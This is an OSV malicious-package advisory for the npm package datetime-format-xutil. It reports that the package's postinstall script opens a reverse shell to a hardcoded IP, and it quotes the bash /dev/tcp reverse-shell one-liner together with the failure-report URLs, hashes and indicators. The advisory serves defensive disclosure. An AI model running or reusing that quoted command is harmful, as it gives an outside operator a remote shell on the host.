MAL-2026-13936

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datetime-format-xutil/MAL-2026-13936.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-13936
Published
2026-08-13T14:59:51Z
Modified
2026-08-13T15:30:14.624124450Z
Summary
Malicious code in datetime-format-xutil (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24)

The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.

Database specific
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-017627",
            "import_time": "2026-08-13T15:26:43.169431936Z",
            "sha256": "677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24",
            "versions": [
                "1.0.0"
            ],
            "source": "amazon-inspector",
            "modified_time": "2026-08-13T14:59:51Z"
        }
    ]
}
References
Credits

Affected packages

npm / datetime-format-xutil

Package

Name
datetime-format-xutil
View open source insights on deps.dev
Purl
pkg:npm/datetime-format-xutil

Affected ranges

Affected versions

1.*
1.0.0

Database specific

cwes
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators
{
    "evidence_files": [
        {
            "path": "postinstall.js",
            "tlsh": "9811ebe905fad07caf7b247866bfa426211342077819eee4b8ce0b03af125680c123a1",
            "sha256": "6da6821e4a53bdd6c0e40a6f81a0491b98031c5444cf7582b3ec40c08e4718a2"
        }
    ],
    "package_integrity": [
        {
            "filename": "datetime-format-xutil-1.0.0.tgz",
            "hashes": {
                "sha1": "4132363cad941d08aa6d18abefc2f7630e63d543",
                "sha512_sri": "sha512-py7mpQJAmHBFij7MhJBG0dm2j4Pb7DUQ+mTulrz1GBuJzGowwBx3ziptbS/muEYtJBQ97Qi1sl7Dw8TSYYsl6Q=="
            }
        }
    ]
}
source
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/datetime-format-xutil/MAL-2026-13936.json"